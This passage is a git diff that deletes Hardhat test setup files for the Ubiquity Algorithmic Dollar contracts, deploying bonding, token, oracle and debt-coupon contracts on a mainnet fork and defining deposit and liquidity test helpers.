a/packages/contracts/dollar/test/BondingSetup.ts b/packages/contracts/dollar/test/BondingSetup.ts deleted file mode 100644 index ae7ba1f4b..000000000 --- a/packages/contracts/dollar/test/BondingSetup.ts +++ /dev/null @@ -1,235 +0,0 @@ -import { expect } from "chai"; -import { ContractTransaction, Signer, BigNumber } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { Bonding } from "../artifacts/types/Bonding"; -import { BondingShare } from "../artifacts/types/BondingShare"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { ICurveFactory } from "../artifacts/types/ICurveFactory"; -import { UbiquityFormulas } from "../artifacts/types/UbiquityFormulas"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { MasterChef } from "../artifacts/types/MasterChef"; -import { resetFork } from "./utils/hardhatNode"; - -let twapOracle: TWAPOracle; -let metaPool: IMetaPool; -let bonding: Bonding; -let bondingShare: BondingShare; -let masterChef: MasterChef; -let manager: UbiquityAlgorithmicDollarManager; -let uAD: UbiquityAlgorithmicDollar; -let uGOV: UbiquityGovernance; -let sablier: string; -let DAI: string; -let USDC: string; -let curvePoolFactory: ICurveFactory; -let curveFactory: string; -let curve3CrvBasePool: string; -let curve3CrvToken: string; -let crvToken: ERC20; -let curveWhaleAddress: string; -let metaPoolAddr: string; -let admin: Signer; -let curveWhale: Signer; -let secondAccount: Signer; -let thirdAccount: Signer; -let treasury: Signer; -let adminAddress: string; -let secondAddress: string; -let ubiquityFormulas: UbiquityFormulas; -let blockCountInAWeek: BigNumber; - -type IdBond = { - id: number; - bond: BigNumber; -}; -interface IbondTokens { - (signer: Signer, amount: BigNumber, duration: number): Promise; -} - -// First block 2020 = 9193266 https://etherscan.io/block/9193266 -// First block 2021 = 11565019 https://etherscan.io/block/11565019 -// 2020 = 2371753 block = 366 days -// 1 week = 45361 blocks = 2371753*7/366 -// n = (block + duration * 45361) -// id = n - n / 100 -const deposit: IbondTokens = async function (signer: Signer, amount: BigNumber, duration: number) { - const signerAdr = await signer.getAddress(); - await metaPool.connect(signer).approve(bonding.address, amount); - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const n = blockBefore.number + 1 + duration * blockCountInAWeek.toNumber(); - const id = n - (n % 100); - const zz1 = await bonding.bondingDiscountMultiplier(); // zz1 = zerozero1 = 0.001 ether = 10^16 - const mult = BigNumber.from(await ubiquityFormulas.durationMultiply(amount, duration, zz1)); - - await expect(bonding.connect(signer).deposit(amount, duration)) - .to.emit(bondingShare, "TransferSingle") - .withArgs(bonding.address, ethers.constants.AddressZero, signerAdr, id, mult); - // 1 week = blockCountInAWeek blocks - - const bond: BigNumber = await bondingShare.balanceOf(signerAdr, id); - - return { id, bond }; -}; - -// withdraw bonding shares of ID belonging to the signer and return the -// bonding share balance of the signer -async function withdraw(signer: Signer, id: number): Promise { - const signerAdr = await signer.getAddress(); - const bond: BigNumber = await bondingShare.balanceOf(signerAdr, id); - await expect(bonding.connect(signer).withdraw(bond, id)) - .to.emit(bondingShare, "TransferSingle") - .withArgs(bonding.address, signerAdr, ethers.constants.AddressZero, id, bond); - return metaPool.balanceOf(signerAdr); -} - -async function bondingSetup(): Promise<{ - crvToken: ERC20; - curveWhale: Signer; - admin: Signer; - secondAccount: Signer; - thirdAccount: Signer; - treasury: Signer; - curvePoolFactory: ICurveFactory; - uAD: UbiquityAlgorithmicDollar; - uGOV: UbiquityGovernance; - metaPool: IMetaPool; - bonding: Bonding; - masterChef: MasterChef; - bondingShare: BondingShare; - twapOracle: TWAPOracle; - ubiquityFormulas: UbiquityFormulas; - sablier: string; - DAI: string; - USDC: string; - manager: UbiquityAlgorithmicDollarManager; - blockCountInAWeek: BigNumber; -}> { - await resetFork(12592661); - // GET contracts adresses - ({ sablier, DAI, USDC, curveFactory, curve3CrvBasePool, curve3CrvToken, curveWhaleAddress } = await getNamedAccounts()); - - // GET first EOA account as admin Signer - [admin, secondAccount, thirdAccount, treasury] = await ethers.getSigners(); - adminAddress = await admin.getAddress(); - secondAddress = await secondAccount.getAddress(); - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - // DEPLOY UbiquityAlgorithmicDollarManager Contract - manager = (await (await ethers.getContractFactory("UbiquityAlgorithmicDollarManager")).deploy(adminAddress)) as UbiquityAlgorithmicDollarManager; - - // DEPLOY Ubiquity library - ubiquityFormulas = (await (await ethers.getContractFactory("UbiquityFormulas")).deploy()) as UbiquityFormulas; - await manager.setFormulasAddress(ubiquityFormulas.address); - - // DEPLOY Bonding Contract - bonding = (await (await ethers.getContractFactory("Bonding")).deploy(manager.address, sablier)) as Bonding; - - await bonding.setBlockCountInAWeek(420); - blockCountInAWeek = await bonding.blockCountInAWeek(); - await manager.setBondingContractAddress(bonding.address); - - // DEPLOY BondingShare Contract - bondingShare = (await (await ethers.getContractFactory("BondingShare")).deploy(manager.address)) as BondingShare; - await manager.setBondingShareAddress(bondingShare.address); - // set bonding as operator for second account so that it can burn its bonding shares - await bondingShare.connect(secondAccount).setApprovalForAll(bonding.address, true); - // set bonding as operator for admin account so that it can burn its bonding shares - await bondingShare.setApprovalForAll(bonding.address, true); - // set bonding as operator for third account so that it can burn its bonding shares - await bondingShare.connect(thirdAccount).setApprovalForAll(bonding.address, true); - - // DEPLOY UAD token Contract - uAD = (await (await ethers.getContractFactory("UbiquityAlgorithmicDollar")).deploy(manager.address)) as UbiquityAlgorithmicDollar; - await manager.setDollarTokenAddress(uAD.address); - // set treasury,uGOVFund and lpReward address needed for excessDollarsDistributor - await manager.connect(admin).setTreasuryAddress(await treasury.getAddress()); - // DEPLOY UGOV token Contract - uGOV = (await (await ethers.getContractFactory("UbiquityGovernance")).deploy(manager.address)) as UbiquityGovernance; - await manager.setGovernanceTokenAddress(uGOV.address); - - // GET 3CRV token contract - crvToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - - // GET curve factory contract - // curvePoolFactory = (await ethers.getContractAt( - // "ICurveFactory", - // curveFactory - // )) as ICurveFactory; - - // Mint 10000 uAD each for admin, second account and manager - const mintings = [adminAddress, secondAddress, manager.address].map( - async (signer: string): Promise => uAD.mint(signer, ethers.utils.parseEther("10000")) - ); - await Promise.all(mintings); - - // Impersonate curve whale account - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [curveWhaleAddress], - }); - curveWhale = ethers.provider.getSigner(curveWhaleAddress); - - // bonding should have the UBQ_MINTER_ROLE to mint bonding shares - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, bonding.address); - // bonding should have the UBQ_BURNER_ROLE to burn bonding shares - await manager.connect(admin).grantRole(UBQ_BURNER_ROLE, bonding.address); - - // Mint uAD for whale - await uAD.mint(curveWhaleAddress, ethers.utils.parseEther("10")); - await crvToken.connect(curveWhale).transfer(manager.address, ethers.utils.parseEther("10000")); - await manager.deployStableSwapPool(curveFactory, curve3CrvBasePool, crvToken.address, 10, 4000000); - metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - - // GET curve meta pool contract - metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - // TRANSFER some uLP tokens to bonding contract to simulate - // the 80% premium from inflation - await metaPool.connect(admin).transfer(bonding.address, ethers.utils.parseEther("100")); - - // TRANSFER some uLP tokens to second account - await metaPool.connect(admin).transfer(secondAddress, ethers.utils.parseEther("1000")); - - // DEPLOY TWAPOracle Contract - twapOracle = (await (await ethers.getContractFactory("TWAPOracle")).deploy(metaPoolAddr, uAD.address, curve3CrvToken)) as TWAPOracle; - await manager.setTwapOracleAddress(twapOracle.address); - - // DEPLOY MasterChef - masterChef = (await (await ethers.getContractFactory("MasterChef")).deploy(manager.address)) as MasterChef; - await manager.setMasterChefAddress(masterChef.address); - await manager.grantRole(UBQ_MINTER_ROLE, masterChef.address); - - const managerMasterChefAddress = await manager.masterChefAddress(); - expect(masterChef.address).to.be.equal(managerMasterChefAddress); - - curvePoolFactory = (await ethers.getContractAt("ICurveFactory", curveFactory)) as ICurveFactory; - - return { - curveWhale, - masterChef, - admin, - crvToken, - secondAccount, - thirdAccount, - treasury, - curvePoolFactory, - uAD, - uGOV, - metaPool, - bonding, - bondingShare, - twapOracle, - ubiquityFormulas, - sablier, - DAI, - USDC, - manager, - blockCountInAWeek, - }; -} - -export { bondingSetup, deposit, withdraw }; diff --git a/packages/contracts/dollar/test/BondingSetupV2.ts b/packages/contracts/dollar/test/BondingSetupV2.ts deleted file mode 100644 index 8fcbd7d4a..000000000 --- a/packages/contracts/dollar/test/BondingSetupV2.ts +++ /dev/null @@ -1,524 +0,0 @@ -import { expect } from "chai"; -import { ContractTransaction, Signer, BigNumber } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { Bonding } from "../artifacts/types/Bonding"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { BondingFormulas } from "../artifacts/types/BondingFormulas"; -import { BondingShare } from "../artifacts/types/BondingShare"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { ICurveFactory } from "../artifacts/types/ICurveFactory"; -import { UbiquityFormulas } from "../artifacts/types/UbiquityFormulas"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; -import { MasterChef } from "../artifacts/types/MasterChef"; -import { UARForDollarsCalculator } from "../artifacts/types/UARForDollarsCalculator"; -import { CouponsForDollarsCalculator } from "../artifacts/types/CouponsForDollarsCalculator"; -import { DollarMintingCalculator } from "../artifacts/types/DollarMintingCalculator"; -import { DebtCoupon } from "../artifacts/types/DebtCoupon"; -import { DebtCouponManager } from "../artifacts/types/DebtCouponManager"; -import { UbiquityAutoRedeem } from "../artifacts/types/UbiquityAutoRedeem"; -import { ExcessDollarsDistributor } from "../artifacts/types/ExcessDollarsDistributor"; -import { IUniswapV2Router02 } from "../artifacts/types/IUniswapV2Router02"; -import { SushiSwapPool } from "../artifacts/types/SushiSwapPool"; - -let couponsForDollarsCalculator: CouponsForDollarsCalculator; -let debtCoupon: DebtCoupon; -let debtCouponMgr: DebtCouponManager; -let fifthAccount: Signer; -let uAR: UbiquityAutoRedeem; -let dollarMintingCalculator: DollarMintingCalculator; -let uarForDollarsCalculator: UARForDollarsCalculator; -let excessDollarsDistributor: ExcessDollarsDistributor; -let twapOracle: TWAPOracle; -let metaPool: IMetaPool; -let bonding: Bonding; -let bondingShare: BondingShare; -let bondingV2: BondingV2; -let bondingShareV2: BondingShareV2; -let masterChef: MasterChef; -let masterChefV2: MasterChefV2; -let manager: UbiquityAlgorithmicDollarManager; -let bondingMaxBalance: BigNumber; -let bondingMinBalance: BigNumber; -let uAD: UbiquityAlgorithmicDollar; -let bondingFormulas: BondingFormulas; -let uGOV: UbiquityGovernance; -let DAI: string; -let USDC: string; -let curvePoolFactory: ICurveFactory; -let curveFactory: string; -let curve3CrvBasePool: string; -let curve3CrvToken: string; -let crvToken: ERC20; -let curveWhaleAddress: string; -let metaPoolAddr: string; -let admin: Signer; -let curveWhale: Signer; -let secondAccount: Signer; -let thirdAccount: Signer; -let fourthAccount: Signer; -let treasury: Signer; -let bondingZeroAccount: Signer; -let bondingMinAccount: Signer; -let bondingMaxAccount: Signer; -let adminAddress: string; -let secondAddress: string; -let ubiquityFormulas: UbiquityFormulas; -let blockCountInAWeek: BigNumber; -let sushiUGOVPool: SushiSwapPool; -const couponLengthBlocks = 100; -const routerAdr = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F"; // SushiV2Router02 -let router: IUniswapV2Router02; - -export type IdBond = { - id: BigNumber; - bsAmount: BigNumber; - shares: BigNumber; - creationBlock: number; - endBlock: number; -}; -interface IbondTokens { - (signer: Signer, amount: BigNumber, duration: number): Promise; -} - -const deployUADUGOVSushiPool = async (signer: Signer): Promise => { - const signerAdr = await signer.getAddress(); - // need some uGOV to provide liquidity - await uGOV.mint(signerAdr, ethers.utils.parseEther("1000")); - // need some uGOV to provide liquidity - await uAD.mint(signerAdr, ethers.utils.parseEther("10000")); - // add liquidity to the pair uAD-UGOV 1 UGOV = 10 UAD - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - // must allow to transfer token - await uAD.connect(signer).approve(routerAdr, ethers.utils.parseEther("10000")); - await uGOV.connect(signer).approve(routerAdr, ethers.utils.parseEther("1000")); - await router - .connect(signer) - .addLiquidity( - uAD.address, - uGOV.address, - ethers.utils.parseEther("10000"), - ethers.utils.parseEther("1000"), - ethers.utils.parseEther("9900"), - ethers.utils.parseEther("990"), - signerAdr, - blockBefore.timestamp + 100 - ); - const sushiFactory = await ethers.getContractFactory("SushiSwapPool"); - sushiUGOVPool = (await sushiFactory.deploy(manager.address)) as SushiSwapPool; - await manager.setSushiSwapPoolAddress(sushiUGOVPool.address); - return sushiUGOVPool; -}; - -// First block 2020 = 9193266 https://etherscan.io/block/9193266 -// First block 2021 = 11565019 https://etherscan.io/block/11565019 -// 2020 = 2371753 block = 366 days -// 1 week = 45361 blocks = 2371753*7/366 -// n = (block + duration * 45361) -// id = n - n / 100 -const deposit: IbondTokens = async function (signer: Signer, amount: BigNumber, duration: number) { - const signerAdr = await signer.getAddress(); - await metaPool.connect(signer).approve(bondingV2.address, amount); - const signerLPBalanceBefore = await metaPool.balanceOf(signerAdr); - const bondingLPBalanceBefore = await metaPool.balanceOf(bondingV2.address); - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const curBlockCountInAWeek = await bondingV2.blockCountInAWeek(); - const endBlock = blockBefore.number + 1 + duration * curBlockCountInAWeek.toNumber(); - const zz1 = await bondingV2.bondingDiscountMultiplier(); // zz1 = zerozero1 = 0.001 ether = 10^16 - const shares = BigNumber.from(await ubiquityFormulas.durationMultiply(amount, duration, zz1)); - const id = (await bondingShareV2.totalSupply()).add(1); - const creationBlock = (await ethers.provider.getBlockNumber()) + 1; - await expect(bondingV2.connect(signer).deposit(amount, duration)) - .to.emit(bondingShareV2, "TransferSingle") - .withArgs(bondingV2.address, ethers.constants.AddressZero, signerAdr, id, 1) - .and.to.emit(bondingV2, "Deposit") - .withArgs(signerAdr, id, amount, shares, duration, endBlock); - // 1 week = blockCountInAWeek blocks - const signerLPBalanceAfter = await metaPool.balanceOf(signerAdr); - const bondingLPBalanceAfter = await metaPool.balanceOf(bondingV2.address); - expect(signerLPBalanceBefore).to.equal(signerLPBalanceAfter.add(amount)); - expect(bondingLPBalanceAfter).to.equal(bondingLPBalanceBefore.add(amount)); - const bsAmount: BigNumber = await bondingShareV2.balanceOf(signerAdr, id); - return { id, bsAmount, shares, creationBlock, endBlock }; -}; - -type Bond = [string, BigNumber, BigNumber, BigNumber, BigNumber, BigNumber] & { - minter: string; - lpFirstDeposited: BigNumber; - creationBlock: BigNumber; - lpRewardDebt: BigNumber; - endBlock: BigNumber; - lpAmount: BigNumber; -}; - -// withdraw bonding shares of ID belonging to the signer and return the -// bonding share balance of the signer -async function removeLiquidity(signer: Signer, id: BigNumber, amount: BigNumber): Promise { - const signerAdr = await signer.getAddress(); - const bondAmount: BigNumber = await bondingShareV2.balanceOf(signerAdr, id); - expect(bondAmount).to.equal(1); - const bondBefore = await bondingShareV2.getBond(id); - await metaPool.connect(signer).approve(bondingV2.address, amount); - const bs = await masterChefV2.getBondingShareInfo(id); - const bond = await bondingShareV2.getBond(id); - const sharesToRemove = await bondingFormulas.sharesForLP(bond, bs, amount); - const pendingLpRewards = await bondingV2.pendingLpRewards(id); - - await expect(bondingV2.connect(signer).removeLiquidity(amount, id)) - .to.emit(bondingV2, "RemoveLiquidityFromBond") - .withArgs(signerAdr, id, amount, amount, pendingLpRewards, sharesToRemove); - - const bsAfter = await masterChefV2.getBondingShareInfo(id); - expect(bsAfter[0]).to.equal(bs[0].sub(sharesToRemove)); - const pendingLpRewardsAfter = await bondingV2.pendingLpRewards(id); - const bondAfter = await bondingShareV2.getBond(id); - expect(pendingLpRewardsAfter).to.equal(0); - expect(bondAfter.lpAmount).to.equal(bondBefore.lpAmount.sub(amount)); - return bondAfter; -} - -// withdraw bonding shares of ID belonging to the signer and return the -// bonding share balance of the signer -async function addLiquidity(signer: Signer, id: BigNumber, amount: BigNumber, duration: number): Promise { - const signerAdr = await signer.getAddress(); - const bondAmount: BigNumber = await bondingShareV2.balanceOf(signerAdr, id); - expect(bondAmount).to.equal(1); - await metaPool.connect(signer).approve(bondingV2.address, amount); - const bondBefore = await bondingShareV2.getBond(id); - const zz1 = await bondingV2.bondingDiscountMultiplier(); // zz1 = zerozero1 = 0.001 ether = 10^16 - - const pendingLpRewards = await bondingV2.pendingLpRewards(id); - - const totalLpAfter = bondBefore.lpAmount.add(amount).add(pendingLpRewards); - const shares = BigNumber.from(await ubiquityFormulas.durationMultiply(totalLpAfter, duration, zz1)); - await expect(bondingV2.connect(signer).addLiquidity(amount, id, duration)) - .to.emit(bondingV2, "AddLiquidityFromBond") - .withArgs(signerAdr, id, totalLpAfter, shares); - const bs = await masterChefV2.getBondingShareInfo(id); - expect(bs[0]).to.equal(shares); - const bondAfter = await bondingShareV2.getBond(id); - const pendingLpRewardsAfter = await bondingV2.pendingLpRewards(id); - expect(pendingLpRewardsAfter).to.equal(0); - expect(bondAfter.lpAmount).to.equal(totalLpAfter); - return bondAfter; -} - -async function bondingSetupV2(): Promise<{ - crvToken: ERC20; - curveWhale: Signer; - admin: Signer; - secondAccount: Signer; - thirdAccount: Signer; - fourthAccount: Signer; - fifthAccount: Signer; - treasury: Signer; - bondingZeroAccount: Signer; - bondingMinAccount: Signer; - bondingMaxAccount: Signer; - bondingMinBalance: BigNumber; - bondingMaxBalance: BigNumber; - bondingFormulas: BondingFormulas; - curvePoolFactory: ICurveFactory; - uAD: UbiquityAlgorithmicDollar; - uAR: UbiquityAutoRedeem; - uGOV: UbiquityGovernance; - metaPool: IMetaPool; - bonding: Bonding; - masterChef: MasterChef; - bondingV2: BondingV2; - masterChefV2: MasterChefV2; - bondingShare: BondingShare; - bondingShareV2: BondingShareV2; - couponsForDollarsCalculator: CouponsForDollarsCalculator; - dollarMintingCalculator: DollarMintingCalculator; - debtCoupon: DebtCoupon; - debtCouponMgr: DebtCouponManager; - twapOracle: TWAPOracle; - ubiquityFormulas: UbiquityFormulas; - DAI: string; - USDC: string; - manager: UbiquityAlgorithmicDollarManager; - blockCountInAWeek: BigNumber; - sushiUGOVPool: SushiSwapPool; - excessDollarsDistributor: ExcessDollarsDistributor; -}> { - // GET contracts adresses - ({ DAI, USDC, curveFactory, curve3CrvBasePool, curve3CrvToken, curveWhaleAddress } = await getNamedAccounts()); - - // GET first EOA account as admin Signer - [admin, secondAccount, thirdAccount, treasury, fourthAccount, bondingZeroAccount, bondingMaxAccount, bondingMinAccount, fifthAccount] = - await ethers.getSigners(); - router = (await ethers.getContractAt("IUniswapV2Router02", routerAdr)) as IUniswapV2Router02; - adminAddress = await admin.getAddress(); - secondAddress = await secondAccount.getAddress(); - const fourthAddress = await fourthAccount.getAddress(); - const bondingZeroAccountAddress = await bondingZeroAccount.getAddress(); - const bondingMinAccountAddress = await bondingMinAccount.getAddress(); - const bondingMaxAccountAddress = await bondingMaxAccount.getAddress(); - - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - const UBQ_TOKEN_MANAGER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_TOKEN_MANAGER_ROLE")); - // DEPLOY UbiquityAlgorithmicDollarManager Contract - manager = (await (await ethers.getContractFactory("UbiquityAlgorithmicDollarManager")).deploy(adminAddress)) as UbiquityAlgorithmicDollarManager; - - // DEPLOY Ubiquity library - ubiquityFormulas = (await (await ethers.getContractFactory("UbiquityFormulas")).deploy()) as UbiquityFormulas; - await manager.setFormulasAddress(ubiquityFormulas.address); - - // DEPLOY Bonding Contract - bonding = (await (await ethers.getContractFactory("Bonding")).deploy(manager.address, ethers.constants.AddressZero)) as Bonding; - await bonding.setBlockCountInAWeek(420); - blockCountInAWeek = await bonding.blockCountInAWeek(); - await manager.setBondingContractAddress(bonding.address); - // DEPLOY BondingShare Contract - bondingShare = (await (await ethers.getContractFactory("BondingShare")).deploy(manager.address)) as BondingShare; - await manager.setBondingShareAddress(bondingShare.address); - // set bonding as operator for second account so that it can burn its bonding shares - await bondingShare.connect(secondAccount).setApprovalForAll(bonding.address, true); - // set bonding as operator for admin account so that it can burn its bonding shares - await bondingShare.setApprovalForAll(bonding.address, true); - // set bonding as operator for third account so that it can burn its bonding shares - await bondingShare.connect(thirdAccount).setApprovalForAll(bonding.address, true); - // DEPLOY UAD token Contract - uAD = (await (await ethers.getContractFactory("UbiquityAlgorithmicDollar")).deploy(manager.address)) as UbiquityAlgorithmicDollar; - await manager.setDollarTokenAddress(uAD.address); - // set treasury,uGOVFund and lpReward address needed for excessDollarsDistributor - await manager.connect(admin).setTreasuryAddress(await treasury.getAddress()); - // DEPLOY UGOV token Contract - uGOV = (await (await ethers.getContractFactory("UbiquityGovernance")).deploy(manager.address)) as UbiquityGovernance; - await manager.setGovernanceTokenAddress(uGOV.address); - sushiUGOVPool = await deployUADUGOVSushiPool(thirdAccount); - // GET 3CRV token contract - crvToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - - // GET curve factory contract - // curvePoolFactory = (await ethers.getContractAt( - // "ICurveFactory", - // curveFactory - // )) as ICurveFactory; - - // Mint 10000 uAD each for admin, second account and manager - const mintings = [ - adminAddress, - secondAddress, - manager.address, - fourthAddress, - bondingZeroAccountAddress, - bondingMinAccountAddress, - bondingMaxAccountAddress, - ].map(async (receiver: string): Promise => uAD.mint(receiver, ethers.utils.parseEther("10000"))); - await Promise.all(mintings); - // Impersonate curve whale account - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [curveWhaleAddress], - }); - curveWhale = ethers.provider.getSigner(curveWhaleAddress); - - // bonding should have the UBQ_MINTER_ROLE to mint bonding shares - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, bonding.address); - // bonding should have the UBQ_BURNER_ROLE to burn bonding shares - await manager.connect(admin).grantRole(UBQ_BURNER_ROLE, bonding.address); - - // Mint uAD for whale - await uAD.mint(curveWhaleAddress, ethers.utils.parseEther("10")); - await crvToken.connect(curveWhale).transfer(manager.address, ethers.utils.parseEther("10000")); - await crvToken.connect(curveWhale).transfer(bondingMaxAccountAddress, ethers.utils.parseEther("10000")); - await crvToken.connect(curveWhale).transfer(bondingMinAccountAddress, ethers.utils.parseEther("10000")); - await crvToken.connect(curveWhale).transfer(fourthAddress, ethers.utils.parseEther("100000")); - - await manager.deployStableSwapPool(curveFactory, curve3CrvBasePool, crvToken.address, 10, 4000000); - metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - // GET curve meta pool contract - metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - // TRANSFER some uLP tokens to bonding contract to simulate - // the 80% premium from inflation - await metaPool.connect(admin).transfer(bonding.address, ethers.utils.parseEther("100")); - - // TRANSFER some uLP tokens to second account - await metaPool.connect(admin).transfer(secondAddress, ethers.utils.parseEther("1000")); - - // DEPLOY TWAPOracle Contract - twapOracle = (await (await ethers.getContractFactory("TWAPOracle")).deploy(metaPoolAddr, uAD.address, curve3CrvToken)) as TWAPOracle; - await manager.setTwapOracleAddress(twapOracle.address); - - // set uAR for dollar Calculator - const UARForDollarsCalculatorFactory = await ethers.getContractFactory("UARForDollarsCalculator"); - uarForDollarsCalculator = (await UARForDollarsCalculatorFactory.deploy(manager.address)) as UARForDollarsCalculator; - - await manager.connect(admin).setUARCalculatorAddress(uarForDollarsCalculator.address); - // set coupon for dollar Calculator - const couponsForDollarsCalculatorFactory = await ethers.getContractFactory("CouponsForDollarsCalculator"); - couponsForDollarsCalculator = (await couponsForDollarsCalculatorFactory.deploy(manager.address)) as CouponsForDollarsCalculator; - await manager.connect(admin).setCouponCalculatorAddress(couponsForDollarsCalculator.address); - // set Dollar Minting Calculator - const dollarMintingCalculatorFactory = await ethers.getContractFactory("DollarMintingCalculator"); - dollarMintingCalculator = (await dollarMintingCalculatorFactory.deploy(manager.address)) as DollarMintingCalculator; - await manager.connect(admin).setDollarMintingCalculatorAddress(dollarMintingCalculator.address); - // set debt coupon token - const dcManagerFactory = await ethers.getContractFactory("DebtCouponManager"); - const debtCouponFactory = await ethers.getContractFactory("DebtCoupon"); - debtCoupon = (await debtCouponFactory.deploy(manager.address)) as DebtCoupon; - - await manager.connect(admin).setDebtCouponAddress(debtCoupon.address); - debtCouponMgr = (await dcManagerFactory.deploy(manager.address, couponLengthBlocks)) as DebtCouponManager; - - // debtCouponMgr should have the COUPON_MANAGER role to mint debtCoupon - const COUPON_MANAGER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("COUPON_MANAGER")); - - await manager.connect(admin).grantRole(COUPON_MANAGER_ROLE, debtCouponMgr.address); - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, debtCouponMgr.address); - await manager.connect(admin).grantRole(UBQ_BURNER_ROLE, debtCouponMgr.address); - - // to calculate the totalOutstanding debt we need to take into account autoRedeemToken.totalSupply - const uARFactory = await ethers.getContractFactory("UbiquityAutoRedeem"); - uAR = (await uARFactory.deploy(manager.address)) as UbiquityAutoRedeem; - await manager.setuARTokenAddress(uAR.address); - - // when the debtManager mint uAD it there is too much it distribute the excess to - const excessDollarsDistributorFactory = await ethers.getContractFactory("ExcessDollarsDistributor"); - excessDollarsDistributor = (await excessDollarsDistributorFactory.deploy(manager.address)) as ExcessDollarsDistributor; - await manager.connect(admin).setExcessDollarsDistributor(debtCouponMgr.address, excessDollarsDistributor.address); - - // set treasury,uGOVFund and lpReward address needed for excessDollarsDistributor - await manager.connect(admin).setTreasuryAddress(await treasury.getAddress()); - - // DEPLOY MasterChef - masterChef = (await (await ethers.getContractFactory("MasterChef")).deploy(manager.address)) as MasterChef; - await manager.setMasterChefAddress(masterChef.address); - await manager.grantRole(UBQ_MINTER_ROLE, masterChef.address); - - const managerMasterChefAddress = await manager.masterChefAddress(); - expect(masterChef.address).to.be.equal(managerMasterChefAddress); - curvePoolFactory = (await ethers.getContractAt("ICurveFactory", curveFactory)) as ICurveFactory; - - // add liquidity to the metapool - // accounts need to approve metaPool for sending its uAD and 3CRV - await uAD.connect(bondingMinAccount).approve(metaPool.address, ethers.utils.parseEther("10000")); - await crvToken.connect(bondingMinAccount).approve(metaPool.address, ethers.utils.parseEther("10000")); - await uAD.connect(bondingMaxAccount).approve(metaPool.address, ethers.utils.parseEther("10000")); - await crvToken.connect(bondingMaxAccount).approve(metaPool.address, ethers.utils.parseEther("10000")); - await uAD.connect(fourthAccount).approve(metaPool.address, ethers.utils.parseEther("10000")); - await crvToken.connect(fourthAccount).approve(metaPool.address, ethers.utils.parseEther("10000")); - - const dyuAD2LP = await metaPool["calc_token_amount(uint256[2],bool)"]([ethers.utils.parseEther("100"), ethers.utils.parseEther("100")], true); - await metaPool - .connect(bondingMinAccount) - ["add_liquidity(uint256[2],uint256)"]([ethers.utils.parseEther("100"), ethers.utils.parseEther("100")], dyuAD2LP.mul(99).div(100)); - await metaPool - .connect(bondingMaxAccount) - ["add_liquidity(uint256[2],uint256)"]([ethers.utils.parseEther("100"), ethers.utils.parseEther("100")], dyuAD2LP.mul(99).div(100)); - await metaPool - .connect(fourthAccount) - ["add_liquidity(uint256[2],uint256)"]([ethers.utils.parseEther("100"), ethers.utils.parseEther("100")], dyuAD2LP.mul(99).div(100)); - bondingMinBalance = await metaPool.balanceOf(bondingMinAccountAddress); - await metaPool.connect(bondingMinAccount).approve(bonding.address, bondingMinBalance); - await bonding.connect(bondingMinAccount).deposit(bondingMinBalance, 1); - bondingMaxBalance = await metaPool.balanceOf(bondingMaxAccountAddress); - await metaPool.connect(bondingMaxAccount).approve(bonding.address, bondingMaxBalance); - await bonding.connect(bondingMaxAccount).deposit(bondingMaxBalance, 208); - const bondingMaxIds = await bondingShare.holderTokens(bondingMaxAccountAddress); - expect(bondingMaxIds.length).to.equal(1); - const bsMaxAmount = await bondingShare.balanceOf(bondingMaxAccountAddress, bondingMaxIds[0]); - const bondingMinIds = await bondingShare.holderTokens(bondingMinAccountAddress); - expect(bondingMinIds.length).to.equal(1); - const bsMinAmount = await bondingShare.balanceOf(bondingMinAccountAddress, bondingMinIds[0]); - expect(bsMinAmount).to.be.lt(bsMaxAmount); - // DEPLOY MasterChefV2 - masterChefV2 = (await (await ethers.getContractFactory("MasterChefV2")).deploy(manager.address, [], [], [])) as MasterChefV2; - await manager.setMasterChefAddress(masterChefV2.address); - await manager.grantRole(UBQ_MINTER_ROLE, masterChefV2.address); - await manager.grantRole(UBQ_TOKEN_MANAGER_ROLE, adminAddress); - await 